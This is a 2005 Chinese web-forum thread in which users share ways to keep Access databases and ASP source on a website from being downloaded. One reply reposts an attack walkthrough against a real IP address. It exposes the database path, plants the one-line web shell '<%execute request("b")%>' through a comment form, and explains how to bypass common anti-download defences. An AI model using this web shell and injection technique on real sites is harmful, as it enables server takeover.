ASP安全技术大收集,送高分!!!(之一)

kingting 2005-07-11 11:09:52
ASP安全技术大收集,送高分!!!(之一)

--------------------------------------
access数据库防恶意下载?
asp源文件防通过各种工具得到?
其他···?

分不够可加?
...全文
577 35 打赏 收藏 转发到动态 举报
写回复
用AI写文章
35 条回复
切换为时间正序
请发表友善的回复…
发表回复
sonymanzzzzzz 2005-07-14
  • 打赏
  • 举报
回复
victorhero 2005-07-13
  • 打赏
  • 举报
回复
mark
wangyingdong 2005-07-13
  • 打赏
  • 举报
回复
我觉得把数据库名改复杂一点,一般情况下,别人是猜不出来,
不需要改为ASP的
cswinter 2005-07-13
  • 打赏
  • 举报
回复
二.示例

  随便找个目标,首先我们暴库,看是不是asp后缀的数据库:
http://220.170.151.103/test/dlog%5cshowlog.asp?cat_id=5&log_id=210

返回:
Microsoft VBScript 编译器错误 错误 '800a03f6'
缺少 'End'
/iisHelp/common/500-100.asp,行242
Microsoft JET Database Engine 错误 '80004005'
'D:/log_mdb/%29dlog_mdb%29.asp'不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。
/test/conn.asp,行18

---------------------------------------------
一般的虚拟主机服务器都在这个地方做了设置的吧,
应该是不会让你看到这样的错误信息的吧。
yangliangwang 2005-07-13
  • 打赏
  • 举报
回复
还有脚本错误信息选为:发送文本错误给客户
yangliangwang 2005-07-13
  • 打赏
  • 举报
回复
我所知道的:
数据库文件名加#
加isapi防止下载.asp以及.mdb扩展名的文件
改fso组件的名称(这种虚机不可行)
为每一个站点设一个ISUR用户,这样即使上传了木马,也不能破坏系统
防火墙(我用的Mcafee)
各种程序的漏洞要经常查,自己也要经常测试
kingting 2005-07-13
  • 打赏
  • 举报
回复
楼上说了一大堆,都不错,受益浅,不过技术还得慢慢 消化呀!
在这先多谢大家了!···分马上就给

除了数据库外,asp文件也是可以通过netant之类的东西下载的,
这又有什么好方法防止呢???
QCB181 2005-07-12
  • 打赏
  • 举报
回复
数据库再加可二进制字段
kingkuf 2005-07-12
  • 打赏
  • 举报
回复
你可以将.mdb转换成.asp最好的方法是后面加上#??.asp绝对安全!
风流才子 2005-07-12
  • 打赏
  • 举报
回复
回复:virom(无尽痛悲)
这段代码的意思就是,添加一个NotDownload表,在此表中添加一个名为NotDown的OLE对象字段,以二进制方式写入<%,由于没有闭合代码%>,数据库又是ASP后缀,就是以ASP方式执行代码,没有闭合代码而出错。达到防下载的目的。
kgbt 2005-07-12
  • 打赏
  • 举报
回复
sql注入不可不防,文件上传也的防
mch2000 2005-07-12
  • 打赏
  • 举报
回复
将access数据库的扩展名改为.asp

如user.mdb --> #user.asp
srgg 2005-07-12
  • 打赏
  • 举报
回复
加二进制字段就可以了
iamgsyy 2005-07-12
  • 打赏
  • 举报
回复
mdb防下载
1.文件名改复杂.
2.文件名中加#
3.数据库中建一个ondown的表,里面存一句错误的asp语句.

最关键的是第3个
crycoming 2005-07-12
  • 打赏
  • 举报
回复
mark
zwrtv 2005-07-12
  • 打赏
  • 举报
回复
路过学习下
ptl123 2005-07-12
  • 打赏
  • 举报
回复
时刻关注 顺便学习
virom 2005-07-12
  • 打赏
  • 举报
回复
请问 mackyliu(才子-54caizi.com)
http://54caizi.com/Blog/blogview.asp?logID=22&cateID=5

Access数据库防下载工具 [ 日期:2005-02-02 ] [ 来自:金龙 ]这应该算是一个比较热门的东东了,常有人讨论防下载的问题,用这东东试试看吧。
处理后将数据库改成ASP后缀,才子测试通过了,确实下载不了。

点击下载此文件

另外附上ASP处理ACCESS数据库防下载的方法,才子原创,感谢支持!!!
将以下代码存成.asp文件,放在数据库所在目录下执行一次即可。
<%
Dim DB,RS,SQL
DB = "DB.asp" '这里改成您的数据库,一定要是asp后缀
Set Conn = Server.CreateObject("Adodb.Connection")
Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Server.MapPath(db)
Conn.Execute("CREATE Table NotDownload(NotDown OLEObject)")
Set RS = Server.CreateObject("ADODB.RecordSet")
SQL = "SELECT * FROM NotDownload"
RS.Open SQL,Conn,1,3
RS.Addnew
RS("NotDown").appendchunk(chrB(Asc("<")) & chrB(Asc("%")))
RS.Update
RS.Close
Set RS = Nothing
Conn.Close
Set Conn = Nothing
Response.Write "数据库防下载处理完成,请确认您的Access数据库已经改为ASP后缀"
%>

是什么原理,看不明白.能解释一下嘛?
ptl123 2005-07-12
  • 打赏
  • 举报
回复
通过学习,及实践 发现 该后缀名为asp同时在数据库中建一个表,里面存一句错误的asp语句.
最强, 同时建议敏感信息(如 用户名 密码)就 MD5一下, 密码最好复杂,  这样即使数据库被下下来了,解密也是很复杂的 是需要时间的。
masm_silly 2005-07-12
  • 打赏
  • 举报
回复
改成asp处理不好反而危险:
改mdb为asp让入侵者得到webshell

随着网络安全技术的发展吧,管理员的素质都在提高,在使用access+asp系统时,为不数据库被人下载,到把mdb改为asp或asa。先不说直接改后缀,直接可以用网快等工具直接下载,其实这样你已经是为入侵者打开了大门。入侵者可以利用asp/asa为后缀的数据库直接得到webshell。

一.思路

  大家都知道<% %>为asp文件的标志符,也就是说一个asp文件只会去执行<% %>之间的代码,access+asp的web系统的所有数据都是存放在数据库文件里(mdb文件),由于管理者把mdb文件改为了asp文件,如果我们提交的数据里包含有<%%>,那当我们访问这个asp数据库的时候就会去执行<%%>之间的代码。这样导致我们只提交恶意代码给数据库,那么asp后缀的数据库就是我们的webshell了。

二.示例

  随便找个目标,首先我们暴库,看是不是asp后缀的数据库:
http://220.170.151.103/test/dlog%5cshowlog.asp?cat_id=5&log_id=210

返回:
Microsoft VBScript 编译器错误 错误 '800a03f6'
缺少 'End'
/iisHelp/common/500-100.asp,行242
Microsoft JET Database Engine 错误 '80004005'
'D:/log_mdb/%29dlog_mdb%29.asp'不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。
/test/conn.asp,行18


  我们提交:http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp返回一堆的乱码,这样我们可以直接用网际快车等工具直接下载数据库(这里我们不讨论)。我们回到主页看到有提供“网友评论”功能。我们注册个用户,发一条评论:
< %execute request("b")%>

  这样我们就把asp代码:<%execute request("b")%>写入了数据库,那么数据库:就是我们的webshell咯。提交:http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp在乱码的最后我们看到:
/iisHelp/common/500-100.asp,行242
Microsoft VBScript 运行时错误 错误 '800a000d'
类型不匹配: 'execute'
/test/dlog/log_mdb/%29dlog_mdb%29.asp,行1266

  哈哈,我们的插入的代码运行了。如下图:





  注意:我们在向数据库提交代码时,代码内容不可以太大。所以我们采用<%execute request("b")%>。

三.其他一些问题和思路

  1.对于改了后缀为asp,还对数据库里加入了<%='a'-1%>等非法的asp代码来彻底防止下载的数据库,由于里面存在了非法的asp代码,插入我们的webshell代码后运行,将只会显示前面非法代码的错误,而不去执行我们shell的代码。虽然这样可以防止一定的攻击,但还是存在一定的隐患,我们只要在出错的代码前加入兼容错误的代码,就可以得到正确显示执行我们插入的webshell代码了。

  2.对于没有改后缀的,也就是mdb文件,这样我们可以先直接下载下来得到后台密码,进了后台,可以利用数据库备用改后缀为asp。

《改mdb为asp所带来的灾难》之狗尾续貂
作者:lake2 转载:http://blog.csdn.net/lake2/

现在好像都流行把mdb格式的数据库改成asp/asa防止被下载,不过大多数时候是不行的。因为我们用浏览器访问数据库会得到乱码,ok,此时我们用网际快车就可以轻松的下到数据库。不过下数据库只是一点点皮毛,入侵者还可以利用这个asp数据库得到webshell,要是你不清楚的话建议你先看看《改mdb为asp所带来的灾难》。

呵呵,怕了吧,那你还改不改mdb为asp呢?答案是要的,我们总不能因噎废食是吧。《改》文最后说:“……对数据库里加入了<%=’a’-1%>等非法的asp代码来彻底防止下载的数据库,由于里面存在了非法的asp代码,插入我们的webshell代码后运行,将只会显示前面非法代码的错误,而不去执行我们shell的代码……”。网上也有文章说在数据库里新建一个表,内容随便填上一句错误的asp代码(比如“<%asd%>”),那么访问这个asp数据库时就会出错,也就不能用网际快车下载了。

真的吗?其实asp是解释执行的,如果我们插入的shell在他的错误代码之前的话就会先于错误代码执行……嘿嘿,看我做个试验先。

在web目录新建一个Access数据库,随意添加几个表、字段和内容,改后缀为asp,浏览器访问,看到乱码。现在向表的某个字段里添加内容“<%lake2%>”,再访问之,呵呵,出错了!见图1。



继续在同一个表添加内容“<%execute(request("lake2"))%>”(模拟插入webshell),再访问asp数据库,仍然出错,看图2,注意与图1对比错误提示。

看到没有,第二个错误“类型不匹配: 'execute'”是execute函数参数为空的错误,而第一个却是由于字符“lake2”不符合asp语法产生的错误。说明我们后插入的webshell先于以前错误的代码执行。你可以用UltraEdit打开数据库,看看“<%execute(request("lake2"))%>”与“<%lake2%>”的位置就明白了。

所以现在我们得到的结论是:access数据库同一表中新增的数据的物理位置总是在旧的数据之前。

我们就可以利用这个突破一些限制。比如服务端要求输入的数据只能20个字节,想想怎么注入shell代码?呵呵,我们可以分成两句来写:“<%Y=request("x")%>;<%execute(Y)%>”。你自己想想顺序。

一般我们插入错误代码是新建一个表,那么新建一个表又是什么情况呢?

你自己试试吧,我的结论是:新建的表的内容物理位置在旧的表之后。哈哈,那种简单的新建一个表插入的错误代码实际位置是在数据库其他字段内容的后面,我们完全可以提交shell代码到数据库然后拿到webshell!

上述问题的防御办法也简单,只要你的错误代码在数据库里的位置先于其他字段的内容就是了。不过这样子好像不现实,因为这要求你最先建立把防下载的表……嗯,我们可以借鉴一下动网的方法。

动网数据库里有一个名为Dv_notdownload的表,表类型是“OLE对象”,里面的数据是长二进制数据。看名字就知道是用于防下载的。

我测试时发现即使向比Dv_notdownload更早创建的表里插入shell可是始终不能执行,莫非前面的结论错了?后来才知道它表里的内容是“<%”,由于缺少关闭符“%>”,asp文件会首先报错,根本不执行任何语句(最前面提到的问题是一句完整的句子)。呵呵,知道怎么做了吧

加载更多回复(15)

28,406

社区成员

发帖
与我相关
我的任务
社区描述
ASP即Active Server Pages,是Microsoft公司开发的服务器端脚本环境。
社区管理员
  • ASP
  • 无·法
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧